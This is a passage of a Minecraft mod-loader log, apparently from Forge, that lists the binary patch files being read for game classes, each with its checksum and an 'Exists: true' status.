net.minecraft.client.gui.screens.recipebook.RecipeBookComponent.binpatch Checksum: 15ab7c53 Exists: true Reading patch net.minecraft.client.gui.screens.worldselection.CreateWorldScreen$1.binpatch Checksum: 62153186 Exists: true Reading patch net.minecraft.client.gui.screens.worldselection.CreateWorldScreen$OperationFailedException.binpatch Checksum: 8e1aba9a Exists: true Reading patch net.minecraft.client.gui.screens.worldselection.CreateWorldScreen$SelectedGameMode.binpatch Checksum: 995f6739 Exists: true Reading patch net.minecraft.client.gui.screens.worldselection.CreateWorldScreen.binpatch Checksum: 2c40b596 Exists: true Reading patch net.minecraft.client.gui.screens.worldselection.WorldGenSettingsComponent.binpatch Checksum: 8828fcb8 Exists: true Reading patch net.minecraft.client.gui.screens.worldselection.WorldPreset$1.binpatch Checksum: fa8a6221 Exists: true Reading patch net.minecraft.client.gui.screens.worldselection.WorldPreset$2.binpatch Checksum: b8c06b9 Exists: true Reading patch net.minecraft.client.gui.screens.worldselection.WorldPreset$3.binpatch Checksum: 5b006251 Exists: true Reading patch net.minecraft.client.gui.screens.worldselection.WorldPreset$4.binpatch Checksum: a7f96192 Exists: true Reading patch net.minecraft.client.gui.screens.worldselection.WorldPreset$5.binpatch Checksum: d7659007 Exists: true Reading patch net.minecraft.client.gui.screens.worldselection.WorldPreset$6.binpatch Checksum: e3c8d389 Exists: true Reading patch net.minecraft.client.gui.screens.worldselection.WorldPreset$7.binpatch Checksum: bb6d9061 Exists: true Reading patch net.minecraft.client.gui.screens.worldselection.WorldPreset$8.binpatch Checksum: cad6ac56 Exists: true Reading patch net.minecraft.client.gui.screens.worldselection.WorldPreset$PresetEditor.binpatch Checksum: 8c14a05a Exists: true Reading patch net.minecraft.client.gui.screens.worldselection.WorldPreset.binpatch Checksum: 7697886 Exists: true Reading patch net.minecraft.client.main.Main$1.binpatch Checksum: 3400c30c Exists: true Reading patch net.minecraft.client.main.Main$2.binpatch Checksum: eca4ff94 Exists: true Reading patch net.minecraft.client.main.Main$3.binpatch Checksum: c072312c Exists: true Reading patch net.minecraft.client.main.Main.binpatch Checksum: 23c4b73d Exists: true Reading patch net.minecraft.client.model.geom.LayerDefinitions.binpatch Checksum: 15240bf8 Exists: true Reading patch net.minecraft.client.multiplayer.ClientChunkCache$Storage.binpatch Checksum: 801b466f Exists: true Reading patch net.minecraft.client.multiplayer.ClientChunkCache.binpatch Checksum: b1ec8ea5 Exists: true Reading patch net.minecraft.client.multiplayer.ClientHandshakePacketListenerImpl.binpatch Checksum: fe9113ee Exists: true Reading patch net.minecraft.client.multiplayer.ClientLevel$1.binpatch Checksum: 9cd4cc49 Exists: true Reading patch net.minecraft.client.multiplayer.ClientLevel$ClientLevelData.binpatch Checksum: 26cd407c Exists: true Reading patch net.minecraft.client.multiplayer.ClientLevel$EntityCallbacks.binpatch Checksum: 56d02d2f Exists: true Reading patch net.minecraft.client.multiplayer.ClientLevel$MarkerParticleStatus.binpatch Checksum: 12da73ce Exists: true Reading patch net.minecraft.client.multiplayer.ClientLevel.binpatch Checksum: 4c2357db Exists: true Reading patch net.minecraft.client.multiplayer.ClientPacketListener$1.binpatch Checksum: f8aa3a2e Exists: true Reading patch net.minecraft.client.multiplayer.ClientPacketListener.binpatch Checksum: 6f4c1d21 Exists: true Reading patch net.minecraft.client.multiplayer.MultiPlayerGameMode.binpatch Checksum: 74c2e35 Exists: true Reading patch net.minecraft.client.multiplayer.PlayerInfo.binpatch Checksum: 1d81d15d Exists: true Reading patch net.minecraft.client.multiplayer.ServerData$ServerPackStatus.binpatch Checksum: e6968aa5 Exists: true Reading patch net.minecraft.client.multiplayer.ServerData.binpatch Checksum: f788b38f Exists: true Reading patch net.minecraft.client.multiplayer.ServerStatusPinger$1.binpatch Checksum: 10239f24 Exists: true Reading patch net.minecraft.client.multiplayer.ServerStatusPinger$2$1.binpatch Checksum: e4de6199 Exists: true Reading patch net.minecraft.client.multiplayer.ServerStatusPinger$2.binpatch Checksum: e9f28b11 Exists: true Reading patch net.minecraft.client.multiplayer.ServerStatusPinger.binpatch Checksum: b1cfc897 Exists: true Reading patch net.minecraft.client.particle.Particle.binpatch Checksum: 3593a45c Exists: true Reading patch net.minecraft.client.particle.ParticleEngine$MutableSpriteSet.binpatch Checksum: 291a02a9 Exists: true Reading patch net.minecraft.client.particle.ParticleEngine$SpriteParticleRegistration.binpatch Checksum: c588e59b Exists: true Reading patch net.minecraft.client.particle.ParticleEngine.binpatch Checksum: 87cb8f7e Exists: true Reading patch net.minecraft.client.particle.TerrainParticle$Provider.binpatch Checksum: bcf785d2 Exists: true Reading patch net.minecraft.client.particle.TerrainParticle.binpatch Checksum: b3112a8a Exists: true Reading patch net.minecraft.client.player.AbstractClientPlayer.binpatch Checksum: da612183 Exists: true Reading patch net.minecraft.client.player.LocalPlayer.binpatch Checksum: 8ec21436 Exists: true Reading patch net.minecraft.client.player.RemotePlayer.binpatch Checksum: dc863de7 Exists: true Reading patch net.minecraft.client.renderer.DimensionSpecialEffects$EndEffects.binpatch Checksum: 54c56098 Exists: true Reading patch net.minecraft.client.renderer.DimensionSpecialEffects$NetherEffects.binpatch Checksum: 9b611ee9 Exists: true Reading patch net.minecraft.client.renderer.DimensionSpecialEffects$OverworldEffects.binpatch Checksum: 21aa5ea4 Exists: true Reading patch net.minecraft.client.renderer.DimensionSpecialEffects$SkyType.binpatch Checksum: 48cf7c16 Exists: true Reading patch net.minecraft.client.renderer.DimensionSpecialEffects.binpatch Checksum: 9005201e Exists: true Reading patch net.minecraft.client.renderer.EffectInstance.binpatch Checksum: 408204a9 Exists: true Reading patch net.minecraft.client.renderer.FogRenderer$FogMode.binpatch Checksum: 37a24f0d Exists: true Reading patch net.minecraft.client.renderer.FogRenderer.binpatch Checksum: 4281582f Exists: true Reading patch net.minecraft.client.renderer.GameRenderer.binpatch Checksum: f4a6cf2b Exists: true Reading patch net.minecraft.client.renderer.ItemBlockRenderTypes.binpatch Checksum: 3a44fe6b Exists: true Reading patch net.minecraft.client.renderer.ItemInHandRenderer$1.binpatch Checksum: aa1bd4a5 Exists: true Reading patch net.minecraft.client.renderer.ItemInHandRenderer$HandRenderSelection.binpatch Checksum: d154c75 Exists: true Reading patch net.minecraft.client.renderer.ItemInHandRenderer.binpatch Checksum: 62e67716 Exists: true Reading patch net.minecraft.client.renderer.ItemModelShaper.binpatch Checksum: 9d503807 Exists: true Reading patch net.minecraft.client.renderer.LevelRenderer$RenderChunkInfo.binpatch Checksum: 41ccda3c Exists: true Reading patch net.minecraft.client.renderer.LevelRenderer$RenderInfoMap.binpatch Checksum: 767fed9d Exists: true Reading patch net.minecraft.client.renderer.LevelRenderer$TransparencyShaderException.binpatch Checksum: f0fdb3fe Exists: true Reading patch net.minecraft.client.renderer.LevelRenderer.binpatch Checksum: 96b1c877 Exists: true Reading patch net.minecraft.client.renderer.LightTexture.binpatch Checksum: fa6fe6f5 Exists: true Reading patch net.minecraft.client.renderer.PostChain.binpatch Checksum: 62e20b13 Exists: true Reading patch net.minecraft.client.renderer.ScreenEffectRenderer.binpatch Checksum: b3ec498d Exists: true Reading patch net.minecraft.client.renderer.ShaderInstance$1.binpatch Checksum: da7c2777 Exists: true Reading patch net.minecraft.client.renderer.ShaderInstance.binpatch Checksum: 557a85a9 Exists: true Reading patch net.minecraft.client.renderer.Sheets$1.binpatch Checksum: 618cce91 Exists: true Reading patch net.minecraft.client.renderer.Sheets.binpatch Checksum: af9a742 Exists: true Reading patch net.minecraft.client.renderer.block.BlockModelShaper.binpatch Checksum: 3b959dcc Exists: true Reading patch net.minecraft.client.renderer.block.BlockRenderDispatcher$1.binpatch Checksum: 14edc830 Exists: true Reading patch net.minecraft.client.renderer.block.BlockRenderDispatcher.binpatch Checksum: da6fd3a9 Exists: true Reading patch net.minecraft.client.renderer.block.LiquidBlockRenderer.binpatch Checksum: 45c048b5 Exists: true Reading patch net.minecraft.client.renderer.block.ModelBlockRenderer$1.binpatch Checksum: 6f78d396 Exists: true Reading patch net.minecraft.client.renderer.block.ModelBlockRenderer$AdjacencyInfo.binpatch Checksum: d4f09be Exists: true Reading patch net.minecraft.client.renderer.block.ModelBlockRenderer$AmbientOcclusionFace.binpatch Checksum: 86d64314 Exists: true Reading patch net.minecraft.client.renderer.block.ModelBlockRenderer$AmbientVertexRemap.binpatch Checksum: c7f9bddb Exists: true Reading patch net.minecraft.client.renderer.block.ModelBlockRenderer$Cache$1.binpatch Checksum: 7cc0fbb0 Exists: true Reading patch net.minecraft.client.renderer.block.ModelBlockRenderer$Cache$2.binpatch Checksum: d657fc94 Exists: true Reading patch net.minecraft.client.renderer.block.ModelBlockRenderer$Cache.binpatch Checksum: 76a29d19 Exists: true Reading patch net.minecraft.client.renderer.block.ModelBlockRenderer$SizeInfo.binpatch Checksum: 694ace9c Exists: true Reading patch net.minecraft.client.renderer.block.ModelBlockRenderer.binpatch Checksum: 8f049d1a Exists: true Reading patch net.minecraft.client.renderer.block.model.BakedQuad.binpatch Checksum: db24251d Exists: true Reading patch net.minecraft.client.renderer.block.model.BlockModel$Deserializer.binpatch Checksum: 1f889501 Exists: true Reading patch net.minecraft.client.renderer.block.model.BlockModel$GuiLight.binpatch Checksum: 80ec8257 Exists: true Reading patch net.minecraft.client.renderer.block.model.BlockModel$LoopException.binpatch Checksum: 1df9998a Exists: true Reading patch net.minecraft.client.renderer.block.model.BlockModel.binpatch Checksum: 6cb80e42 Exists: true Reading patch net.minecraft.client.renderer.block.model.FaceBakery$1.binpatch Checksum: 2955c822 Exists: true Reading patch net.minecraft.client.renderer.block.model.FaceBakery.binpatch Checksum: 5af72d32 Exists: true Reading patch net.minecraft.client.renderer.block.model.ItemModelGenerator$1.binpatch Checksum: 2fe4fd3e Exists: true Reading patch net.minecraft.client.renderer.block.model.ItemModelGenerator$Span.binpatch Checksum: cffa57e7 Exists: true Reading patch net.minecraft.client.renderer.block.model.ItemModelGenerator$SpanFacing.binpatch Checksum: a63469aa Exists: true Reading patch net.minecraft.client.renderer.block.model.ItemModelGenerator.binpatch Checksum: fad6656e Exists: true Reading patch net.minecraft.client.renderer.block.model.ItemOverrides$BakedOverride.binpatch Checksum: 117599d9 Exists: true Reading patch net.minecraft.client.renderer.block.model.ItemOverrides$PropertyMatcher.binpatch Checksum: 849e9e20 Exists: true Reading patch net.minecraft.client.renderer.block.model.ItemOverrides.binpatch Checksum: 370c6b4e Exists: true Reading patch net.minecraft.client.renderer.block.model.ItemTransform$Deserializer.binpatch Checksum: b9d04c64 Exists: true Reading patch net.minecraft.client.renderer.block.model.ItemTransform.binpatch Checksum: b41314e4 Exists: true Reading patch net.minecraft.client.renderer.block.model.ItemTransforms$1.binpatch Checksum: aff3d0e Exists: true Reading patch net.minecraft.client.renderer.block.model.ItemTransforms$Deserializer.binpatch Checksum: a7a11824 Exists: true Reading patch net.minecraft.client.renderer.block.model.ItemTransforms$TransformType.binpatch Checksum: 58413c3 Exists: true Reading patch net.minecraft.client.renderer.block.model.ItemTransforms.binpatch Checksum: 467c27d3 Exists: true Reading patch net.minecraft.client.renderer.block.model.MultiVariant$Deserializer.binpatch Checksum: e94a09ba Exists: true Reading patch net.minecraft.client.renderer.block.model.MultiVariant.binpatch Checksum: 9def7bf3 Exists: true Reading patch net.minecraft.client.renderer.blockentity.BlockEntityRenderers.binpatch Checksum: b2682dfb Exists: true Reading patch net.minecraft.client.renderer.blockentity.ChestRenderer.binpatch Checksum: ae9cd6f8 Exists: true Reading patch net.minecraft.client.renderer.blockentity.PistonHeadRenderer.binpatch Checksum: 8329ad48 Exists: true Reading patch net.minecraft.client.renderer.chunk.ChunkRenderDispatcher$ChunkTaskResult.binpatch Checksum: 49d697d2 Exists: true Reading patch net.minecraft.client.renderer.chunk.ChunkRenderDispatcher$CompiledChunk$1.binpatch Checksum: efecdd72 Exists: true Reading patch net.minecraft.client.renderer.chunk.ChunkRenderDispatcher$CompiledChunk.binpatch Checksum: b4a6b225 Exists: true Reading patch net.minecraft.client.renderer.chunk.ChunkRenderDispatcher$RenderChunk$ChunkCompileTask.binpatch Checksum: f078965e Exists: true Reading patch net.minecraft.client.renderer.chunk.ChunkRenderDispatcher$RenderChunk$RebuildTask.binpatch Checksum: d36d9ee5 Exists: true Reading patch net.minecraft.client.renderer.chunk.ChunkRenderDispatcher$RenderChunk$ResortTransparencyTask.binpatch Checksum: a16e23a3 Exists: true Reading patch net.minecraft.client.renderer.chunk.ChunkRenderDispatcher$RenderChunk.binpatch Checksum: 506efdc7 Exists: true Reading patch net.minecraft.client.renderer.chunk.ChunkRenderDispatcher.binpatch Checksum: b9b32fe2 Exists: true Reading patch net.minecraft.client.renderer.entity.BoatRenderer.binpatch Checksum: c61d512 Exists: true Reading patch net.minecraft.client.renderer.entity.EntityRenderDispatcher.binpatch Checksum: 89447f22 Exists: true Reading patch net.minecraft.client.renderer.entity.EntityRenderer.binpatch Checksum: 96fec266 Exists: true Reading patch net.minecraft.client.renderer.entity.FallingBlockRenderer.binpatch Checksum: 618d8aa9 Exists: true Reading patch net.minecraft.client.renderer.entity.ItemEntityRenderer.binpatch Checksum: f11f8a7a Exists: true Reading patch net.minecraft.client.renderer.entity.ItemFrameRenderer.binpatch Checksum: 9f46447a Exists: true Reading patch net.minecraft.client.renderer.entity.ItemRenderer.binpatch Checksum: 96712aad Exists: true Reading patch net.minecraft.client.renderer.entity.LivingEntityRenderer$1.binpatch Checksum: 6057552a Exists: true Reading patch net.minecraft.client.renderer.entity.LivingEntityRenderer.binpatch Checksum: 99989648 Exists: true Reading patch net.minecraft.client.renderer.entity.layers.ElytraLayer.binpatch Checksum: 490124b0 Exists: true Reading patch net.minecraft.client.renderer.entity.layers.HumanoidArmorLayer$1.binpatch Checksum: 376bd7b8 Exists: true Reading patch net.minecraft.client.renderer.entity.layers.HumanoidArmorLayer.binpatch Checksum: b0b4b36a Exists: true Reading patch net.minecraft.client.renderer.entity.player.PlayerRenderer.binpatch Checksum: 115a8315 Exists: true Reading patch net.minecraft.client.renderer.item.ItemProperties$1.binpatch Checksum: 1464a196 Exists: true Reading patch net.minecraft.client.renderer.item.ItemProperties$2.binpatch Checksum: 1d817c30 Exists: true Reading patch net.minecraft.client.renderer.item.ItemProperties$CompassWobble.binpatch Checksum: 4f67dcc5 Exists: true Reading patch net.minecraft.client.renderer.item.ItemProperties.binpatch Checksum: dfe29193 Exists: true Reading patch net.minecraft.client.renderer.texture.AbstractTexture.binpatch Checksum: 8d9dd939 Exists: true Reading patch net.minecraft.client.renderer.texture.Stitcher$Holder.binpatch Checksum: 2d40ac33 Exists: true Reading patch net.minecraft.client.renderer.texture.Stitcher$Region.binpatch Checksum: efdc3165 Exists: true Reading patch net.minecraft.client.renderer.texture.Stitcher$SpriteLoader.binpatch Checksum: 89ce9fa7 Exists: true Reading patch net.minecraft.client.renderer.texture.Stitcher.binpatch Checksum: 557fa10a Exists: true Reading patch net.minecraft.client.renderer.texture.TextureAtlas$Preparations.binpatch Checksum: 7e5561b6 Exists: true Reading patch net.minecraft.client.renderer.texture.TextureAtlas.binpatch Checksum: 592d7c66 Exists: true Reading patch net.minecraft.client.renderer.texture.TextureAtlasSprite$AnimatedTexture.binpatch Checksum: 6118bb0 Exists: true Reading patch net.minecraft.client.renderer.texture.TextureAtlasSprite$FrameInfo.binpatch Checksum: 2ccc9891 Exists: true Reading patch net.minecraft.client.renderer.texture.TextureAtlasSprite$Info.binpatch Checksum: cbd72e5d Exists: true Reading patch net.minecraft.client.renderer.texture.TextureAtlasSprite$InterpolationData.binpatch Checksum: c132c7d4 Exists: true Reading patch net.minecraft.client.renderer.texture.TextureAtlasSprite.binpatch Checksum: 4fedc34 Exists: true Reading patch net.minecraft.client.renderer.texture.TextureManager.binpatch Checksum: 2413e0c5 Exists: true Reading patch net.minecraft.client.resources.language.ClientLanguage.binpatch Checksum: fc42c11 Exists: true Reading patch net.minecraft.client.resources.language.I18n.binpatch Checksum: fa6a4d0 Exists: true Reading patch net.minecraft.client.resources.language.LanguageInfo.binpatch Checksum: f75cb78d Exists: true Reading patch net.minecraft.client.resources.language.LanguageManager.binpatch Checksum: a41de958 Exists: true Reading patch net.minecraft.client.resources.model.BakedModel.binpatch Checksum: aba02d47 Exists: true Reading patch net.minecraft.client.resources.model.ModelBakery$BlockStateDefinitionException.binpatch Checksum: 9201a817 Exists: true Reading patch net.minecraft.client.resources.model.ModelBakery$ModelGroupKey.binpatch Checksum: b752e44e Exists: true Reading patch net.minecraft.client.resources.model.ModelBakery.binpatch Checksum: bd102809 Exists: true Reading patch net.minecraft.client.resources.model.ModelManager.binpatch Checksum: 2e024f5a Exists: true Reading patch net.minecraft.client.resources.model.ModelResourceLocation.binpatch Checksum: 179fd231 Exists: true Reading patch net.minecraft.client.resources.model.ModelState.binpatch Checksum: 805a6e55 Exists: true Reading patch net.minecraft.client.resources.model.MultiPartBakedModel$Builder.binpatch Checksum: eb094f42 Exists: true Reading patch net.minecraft.client.resources.model.MultiPartBakedModel.binpatch Checksum: 786b8143 Exists: true Reading patch net.minecraft.client.resources.model.SimpleBakedModel$Builder.binpatch Checksum: a9967407 Exists: true Reading patch net.minecraft.client.resources.model.SimpleBakedModel.binpatch Checksum: deb94c2a Exists: true Reading patch net.minecraft.client.resources.model.UnbakedModel.binpatch Checksum: 57e52bd2 Exists: true Reading patch net.minecraft.client.resources.model.WeightedBakedModel$Builder.binpatch Checksum: 8af03117 Exists: true Reading patch net.minecraft.client.resources.model.WeightedBakedModel.binpatch Checksum: fe525acf Exists: true Reading patch net.minecraft.client.searchtree.SearchRegistry$Key.binpatch Checksum: 8687a1d3 Exists: true Reading patch net.minecraft.client.searchtree.SearchRegistry.binpatch Checksum: be69bb0f Exists: true Reading patch net.minecraft.client.server.IntegratedServer.binpatch Checksum: 13e56fd8 Exists: true Reading patch net.minecraft.client.sounds.SoundEngine.binpatch Checksum: 3e4fd007 Exists: true Reading patch net.minecraft.commands.Commands$CommandSelection.binpatch Checksum: fdb97cd1 Exists: true Reading patch net.minecraft.commands.Commands$ParseFunction.binpatch Checksum: b9617f5e Exists: true Reading patch net.minecraft.commands.Commands.binpatch Checksum: 313ad14c Exists: true Reading patch net.minecraft.commands.arguments.selector.EntitySelectorParser.binpatch Checksum: 2b6dcc6d Exists: true Reading patch net.minecraft.commands.synchronization.ArgumentTypes$Entry.binpatch Checksum: 3d7a845 Exists: true Reading patch net.minecraft.commands.synchronization.ArgumentTypes.binpatch Checksum: d248fee6 Exists: true Reading patch net.minecraft.core.Direction$1.binpatch Checksum: b3000da3 Exists: true Reading patch net.minecraft.core.Direction$Axis$1.binpatch Checksum: 9280d974 Exists: true Reading patch net.minecraft.core.Direction$Axis$2.binpatch Checksum: 5d93d970 Exists: true Reading patch net.minecraft.core.Direction$Axis$3.binpatch Checksum: 6d7fd9a3 Exists: true Reading patch net.minecraft.core.Direction$Axis.binpatch Checksum: 93294179 Exists: true Reading patch net.minecraft.core.Direction$AxisDirection.binpatch Checksum: 3a9aba01 Exists: true Reading patch net.minecraft.core.Direction$Plane.binpatch Checksum: 4e913afc Exists: true Reading patch net.minecraft.core.Direction.binpatch Checksum: 845fee74 Exists: true Reading patch net.minecraft.core.MappedRegistry$RegistryEntry.binpatch Checksum: 5abf1fb1 Exists: true Reading patch net.minecraft.core.MappedRegistry.binpatch Checksum: 17ef44e Exists: true Reading patch net.minecraft.core.Registry.binpatch Checksum: db741aa Exists: true Reading patch net.minecraft.core.RegistryAccess$RegistryData.binpatch Checksum: 589639b5 Exists: true Reading patch net.minecraft.core.RegistryAccess$RegistryHolder.binpatch Checksum: 1f5c95af Exists: true Reading patch net.minecraft.core.RegistryAccess.binpatch Checksum: 16f784aa Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$1.binpatch Checksum: 4387bc79 Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$10.binpatch Checksum: 8dd84d39 Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$11.binpatch Checksum: abd37312 Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$12.binpatch Checksum: 7753afff Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$13.binpatch Checksum: 6ddf977e Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$14.binpatch Checksum: 38b90e5f Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$15.binpatch Checksum: e966e943 Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$16.binpatch Checksum: 85c764fd Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$17.binpatch Checksum: 7f3bafb7 Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$18.binpatch Checksum: 9edc9c3e Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$19.binpatch Checksum: ac430114 Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$2.binpatch Checksum: bebd55c Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$20.binpatch Checksum: 855ae109 Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$21.binpatch Checksum: b5b11cd1 Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$22.binpatch Checksum: d939a90 Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$23.binpatch Checksum: 9453cc23 Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$24.binpatch Checksum: 297c363a Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$25.binpatch Checksum: 27447368 Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$26.binpatch Checksum: b946ab3 Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$3.binpatch Checksum: 39cac3b8 Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$4.binpatch Checksum: 148c73b Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$5.binpatch Checksum: 7254c658 Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$6.binpatch Checksum: 2edaf67a Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$7$1.binpatch Checksum: f3fc6f97 Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$7.binpatch Checksum: f5a3088a Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$8$1.binpatch Checksum: 4ec36ff6 Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$8.binpatch Checksum: 2fc308e6 Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior$9.binpatch Checksum: 634363f1 Exists: true Reading patch net.minecraft.core.dispenser.DispenseItemBehavior.binpatch Checksum: c9e69ec4 Exists: true Reading patch net.minecraft.core.particles.BlockParticleOption$1.binpatch Checksum: 5a073ead Exists: true Reading patch net.minecraft.core.particles.BlockParticleOption.binpatch Checksum: 459595fd Exists: true Reading patch net.minecraft.core.particles.ItemParticleOption$1.binpatch Checksum: cd126f40 Exists: true Reading patch net.minecraft.core.particles.ItemParticleOption.binpatch Checksum: 90ec5b77 Exists: true Reading patch net.minecraft.core.particles.ParticleType.binpatch Checksum: 33b0aaf4 Exists: true Reading patch net.minecraft.core.particles.ParticleTypes$1.binpatch Checksum: 99db0607 Exists: true Reading patch net.minecraft.core.particles.ParticleTypes.binpatch Checksum: eae29565 Exists: true Reading patch net.minecraft.data.BuiltinRegistries.binpatch Checksum: 213b81d8 Exists: true Reading patch net.minecraft.data.DataGenerator.binpatch Checksum: ff2d9db4 Exists: true Reading patch net.minecraft.data.HashCache.binpatch Checksum: 839631ff Exists: true Reading patch net.minecraft.data.Main.binpatch Checksum: c41a9213 Exists: true Reading patch net.minecraft.data.loot.BlockLoot.binpatch Checksum: 5ed3fcfe Exists: true Reading patch net.minecraft.data.loot.EntityLoot.binpatch Checksum: 360fa12a Exists: true Reading patch net.minecraft.data.loot.LootTableProvider.binpatch Checksum: 1c71b120 Exists: true Reading patch net.minecraft.data.recipes.RecipeProvider.binpatch Checksum: efa0c58b Exists: true Reading patch net.minecraft.data.tags.BlockTagsProvider.binpatch Checksum: 5f5a860d Exists: true Reading patch net.minecraft.data.tags.EntityTypeTagsProvider.binpatch Checksum: 8429b2ff Exists: true Reading patch net.minecraft.data.tags.FluidTagsProvider.binpatch Checksum: aae24249 Exists: true Reading patch net.minecraft.data.tags.GameEventTagsProvider.binpatch Checksum: b3927621 Exists: true Reading patch net.minecraft.data.tags.ItemTagsProvider.binpatch Checksum: e9c801e9 Exists: true Reading patch net.minecraft.data.tags.TagsProvider$TagAppender.binpatch Checksum: fadf743a Exists: true Reading patch net.minecraft.data.tags.TagsProvider.binpatch Checksum: 5ceae59a Exists: true Reading patch net.minecraft.data.worldgen.biome.Biomes.binpatch Checksum: a3e590a0 Exists: true Reading patch net.minecraft.locale.Language$1.binpatch Checksum: 44f3ddbf Exists: true Reading patch net.minecraft.locale.Language.binpatch Checksum: 76cb1aa7 Exists: true Reading patch net.minecraft.nbt.CompoundTag$1.binpatch Checksum: 849df90d Exists: true Reading patch net.minecraft.nbt.CompoundTag.binpatch Checksum: f3d07b36 Exists: true Reading patch net.minecraft.nbt.NbtAccounter$1.binpatch Checksum: 805f6323 Exists: true Reading patch net.minecraft.nbt.NbtAccounter.binpatch Checksum: ac144223 Exists: true Reading patch net.minecraft.nbt.NbtIo.binpatch Checksum: 3eb9e44f Exists: true Reading patch net.minecraft.nbt.StringTag$1.binpatch Checksum: 29c08ac1 Exists: true Reading patch net.minecraft.nbt.StringTag.binpatch Checksum: fc2c0bcd Exists: true Reading patch net.minecraft.network.CompressionEncoder.binpatch Checksum: 869e0ccc Exists: true Reading patch net.minecraft.network.Connection$1.binpatch Checksum: 3c0ea12c Exists: true Reading patch net.minecraft.network.Connection$2.binpatch Checksum: edff4550 Exists: true Reading patch net.minecraft.network.Connection$PacketHolder.binpatch Checksum: 30c1a6da Exists: true Reading patch net.minecraft.network.Connection.binpatch Checksum: c927465e Exists: true Reading patch net.minecraft.network.FriendlyByteBuf.binpatch Checksum: 9787cbe9 Exists: true Reading patch net.minecraft.network.PacketEncoder.binpatch Checksum: e2441096 Exists: true Reading patch net.minecraft.network.chat.Style$1.binpatch Checksum: 82c2c8a1 Exists: true Reading patch net.minecraft.network.chat.Style$Serializer.binpatch Checksum: 1ca4888a Exists: true Reading patch net.minecraft.network.chat.Style.binpatch Checksum: 6bdfa583 Exists: true Reading patch net.minecraft.network.chat.TranslatableComponent.binpatch Checksum: 7a84d759 Exists: true Reading patch net.minecraft.network.protocol.game.ClientboundCommandsPacket$Entry.binpatch Checksum: c53a3d99 Exists: true Reading patch net.minecraft.network.protocol.game.ClientboundCommandsPacket.binpatch Checksum: eca4bb47 Exists: true Reading patch net.minecraft.network.protocol.game.ClientboundCustomPayloadPacket.binpatch Checksum: b2779efb Exists: true Reading patch net.minecraft.network.protocol.game.ClientboundUpdateAttributesPacket$AttributeSnapshot.binpatch Checksum: c462dd40 Exists: true Reading patch net.minecraft.network.protocol.game.ClientboundUpdateAttributesPacket.binpatch Checksum: f70bfaa9 Exists: true Reading patch net.minecraft.network.protocol.game.ServerboundContainerClickPacket.binpatch Checksum: f05723ad Exists: true Reading patch net.minecraft.network.protocol.game.ServerboundCustomPayloadPacket.binpatch Checksum: 4f2beff7 Exists: true Reading patch net.minecraft.network.protocol.game.ServerboundSetCreativeModeSlotPacket.binpatch Checksum: 94b93e0f Exists: true Reading patch net.minecraft.network.protocol.handshake.ClientIntentionPacket.binpatch Checksum: a2e2590 Exists: true Reading patch net.minecraft.network.protocol.login.ClientboundCustomQueryPacket.binpatch Checksum: 2eaf0719 Exists: true Reading patch net.minecraft.network.protocol.login.ServerboundCustomQueryPacket.binpatch Checksum: 1f2fca4d Exists: true Reading patch net.minecraft.network.protocol.status.ClientboundStatusResponsePacket.binpatch Checksum: c3b5b0a Exists: true Reading patch net.minecraft.network.protocol.status.ServerStatus$Players$Serializer.binpatch Checksum: 4737191b Exists: true Reading patch net.minecraft.network.protocol.status.ServerStatus$Players.binpatch Checksum: a8e7f780 Exists: true Reading patch net.minecraft.network.protocol.status.ServerStatus$Serializer.binpatch Checksum: 27e5575f Exists: true Reading patch net.minecraft.network.protocol.status.ServerStatus$Version$Serializer.binpatch Checksum: f0ccdac8 Exists: true Reading patch net.minecraft.network.protocol.status.ServerStatus$Version.binpatch Checksum: f998d3d7 Exists: true Reading patch net.minecraft.network.protocol.status.ServerStatus.binpatch Checksum: 12bc4057 Exists: true Reading patch net.minecraft.network.syncher.EntityDataSerializers$1.binpatch Checksum: 292d76e Exists: true Reading patch net.minecraft.network.syncher.EntityDataSerializers$10.binpatch Checksum: 986e919 Exists: true Reading patch net.minecraft.network.syncher.EntityDataSerializers$11.binpatch Checksum: 10d31177 Exists: true Reading patch net.minecraft.network.syncher.EntityDataSerializers$12.binpatch Checksum: 71af0973 Exists: true Reading patch net.minecraft.network.syncher.EntityDataSerializers$13.binpatch Checksum: f27c33bd Exists: true Reading patch net.minecraft.network.syncher.EntityDataSerializers$14.binpatch Checksum: 39d405a9 Exists: true Reading patch net.minecraft.network.syncher.EntityDataSerializers$15.binpatch Checksum: 407ef65 Exists: true Reading patch net.minecraft.network.syncher.EntityDataSerializers$16.binpatch Checksum: 366f12cb Exists: true Reading patch net.minecraft.network.syncher.EntityDataSerializers$17.binpatch Checksum: ae58277d Exists: true Reading patch net.minecraft.network.syncher.EntityDataSerializers$18.binpatch Checksum: fd6c1ca7 Exists: true Reading patch net.minecraft.network.syncher.EntityDataSerializers$19.binpatch Checksum: 656e14e6 Exists: true Reading patch net.minecraft.network.syncher.EntityDataSerializers$2.binpatch Checksum: 8eecedbe Exists: true Reading patch 